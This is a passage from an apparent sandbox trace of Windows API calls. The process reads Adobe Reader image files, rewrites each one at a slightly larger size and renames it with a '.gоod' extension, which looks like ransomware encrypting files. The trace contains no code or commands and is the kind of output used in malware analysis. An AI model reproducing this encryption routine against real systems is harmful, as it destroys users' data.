(x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons2x.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0271.971] GetFileType (hFile=0x8a8) returned 0x1 [0271.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0271.971] GetFileType (hFile=0x8a8) returned 0x1 [0271.971] WriteFile (in: hFile=0x8a8, lpBuffer=0x387fdb0*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x203ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x387fdb0*, lpNumberOfBytesWritten=0x203ec5c8*=0x4b0, lpOverlapped=0x0) returned 1 [0271.972] CloseHandle (hObject=0x8a8) returned 1 [0271.972] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons2x.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons2x.png", lpFilePart=0x0) returned 0x8d [0271.972] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons2x.png.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons2x.png.gоod", lpFilePart=0x0) returned 0x92 [0271.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0271.972] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons2x.png"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9e517a98, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4b0)) returned 1 [0271.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0271.972] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons2x.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons2x.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\example_icons2x.png.gоod")) returned 1 [0271.974] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon.png", lpFilePart=0x0) returned 0x8c [0271.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0271.974] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon.png"), fInfoLevelId=0x0, lpFileInformation=0x38811f0 | out: lpFileInformation=0x38811f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1bd)) returned 1 [0271.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0271.974] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon.png", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon.png", lpFilePart=0x0) returned 0x8c [0271.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0271.974] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0271.974] GetFileType (hFile=0x8a8) returned 0x1 [0271.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0271.975] GetFileType (hFile=0x8a8) returned 0x1 [0271.975] GetFileSize (in: hFile=0x8a8, lpFileSizeHigh=0x203ec788 | out: lpFileSizeHigh=0x203ec788*=0x0) returned 0x1bd [0271.975] ReadFile (in: hFile=0x8a8, lpBuffer=0x3881788, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec6b8, lpOverlapped=0x0 | out: lpBuffer=0x3881788*, lpNumberOfBytesRead=0x203ec6b8*=0x1bd, lpOverlapped=0x0) returned 1 [0271.976] CloseHandle (hObject=0x8a8) returned 1 [0272.003] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon.png", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon.png", lpFilePart=0x0) returned 0x8c [0272.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0272.004] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0272.005] GetFileType (hFile=0x8a8) returned 0x1 [0272.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0272.005] GetFileType (hFile=0x8a8) returned 0x1 [0272.005] WriteFile (in: hFile=0x8a8, lpBuffer=0x38f9790*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x203ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x38f9790*, lpNumberOfBytesWritten=0x203ec5c8*=0x1c0, lpOverlapped=0x0) returned 1 [0272.006] CloseHandle (hObject=0x8a8) returned 1 [0272.192] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon.png", lpFilePart=0x0) returned 0x8c [0272.193] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon.png.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon.png.gоod", lpFilePart=0x0) returned 0x91 [0272.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0272.193] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon.png"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9e56400f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1c0)) returned 1 [0272.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0272.194] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon.png.gоod")) returned 1 [0272.195] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_2x.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_2x.png", lpFilePart=0x0) returned 0x8f [0272.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0272.195] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x38d0990 | out: lpFileInformation=0x38d0990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x263)) returned 1 [0272.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0272.195] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_2x.png", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_2x.png", lpFilePart=0x0) returned 0x8f [0272.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0272.195] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_2x.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0272.195] GetFileType (hFile=0x86c) returned 0x1 [0272.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0272.195] GetFileType (hFile=0x86c) returned 0x1 [0272.195] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x203ec788 | out: lpFileSizeHigh=0x203ec788*=0x0) returned 0x263 [0272.195] ReadFile (in: hFile=0x86c, lpBuffer=0x38d0fe0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec6b8, lpOverlapped=0x0 | out: lpBuffer=0x38d0fe0*, lpNumberOfBytesRead=0x203ec6b8*=0x263, lpOverlapped=0x0) returned 1 [0272.199] CloseHandle (hObject=0x86c) returned 1 [0272.227] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_2x.png", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_2x.png", lpFilePart=0x0) returned 0x8f [0272.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0272.227] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_2x.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0272.228] GetFileType (hFile=0x86c) returned 0x1 [0272.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0272.228] GetFileType (hFile=0x86c) returned 0x1 [0272.228] WriteFile (in: hFile=0x86c, lpBuffer=0x395da00*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x203ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x395da00*, lpNumberOfBytesWritten=0x203ec5c8*=0x270, lpOverlapped=0x0) returned 1 [0272.229] CloseHandle (hObject=0x86c) returned 1 [0272.229] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_2x.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_2x.png", lpFilePart=0x0) returned 0x8f [0272.229] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_2x.png.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_2x.png.gоod", lpFilePart=0x0) returned 0x94 [0272.229] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0272.229] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9e7a0232, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x270)) returned 1 [0272.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0272.229] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_2x.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_2x.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_2x.png.gоod")) returned 1 [0272.230] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover.png", lpFilePart=0x0) returned 0x92 [0272.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0272.230] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover.png"), fInfoLevelId=0x0, lpFileInformation=0x395ee50 | out: lpFileInformation=0x395ee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184)) returned 1 [0272.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0272.986] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover.png", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover.png", lpFilePart=0x0) returned 0x92 [0273.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0273.007] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0273.007] GetFileType (hFile=0x834) returned 0x1 [0273.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0273.007] GetFileType (hFile=0x834) returned 0x1 [0273.007] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x203ec788 | out: lpFileSizeHigh=0x203ec788*=0x0) returned 0x184 [0273.007] ReadFile (in: hFile=0x834, lpBuffer=0x3b8b2a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec6b8, lpOverlapped=0x0 | out: lpBuffer=0x3b8b2a0*, lpNumberOfBytesRead=0x203ec6b8*=0x184, lpOverlapped=0x0) returned 1 [0273.008] CloseHandle (hObject=0x834) returned 1 [0273.047] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover.png", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover.png", lpFilePart=0x0) returned 0x92 [0273.047] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0273.047] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0273.048] GetFileType (hFile=0x834) returned 0x1 [0273.048] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0273.048] GetFileType (hFile=0x834) returned 0x1 [0273.048] WriteFile (in: hFile=0x834, lpBuffer=0x3c02f40*, nNumberOfBytesToWrite=0x190, lpNumberOfBytesWritten=0x203ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x3c02f40*, lpNumberOfBytesWritten=0x203ec5c8*=0x190, lpOverlapped=0x0) returned 1 [0273.049] CloseHandle (hObject=0x834) returned 1 [0273.049] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover.png", lpFilePart=0x0) returned 0x92 [0273.049] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover.png.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover.png.gоod", lpFilePart=0x0) returned 0x97 [0273.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0273.049] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover.png"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9ef5fb2d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x190)) returned 1 [0273.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0273.049] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover.png.gоod")) returned 1 [0273.050] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover_2x.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover_2x.png", lpFilePart=0x0) returned 0x95 [0273.050] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0273.050] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x3c04398 | out: lpFileInformation=0x3c04398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, 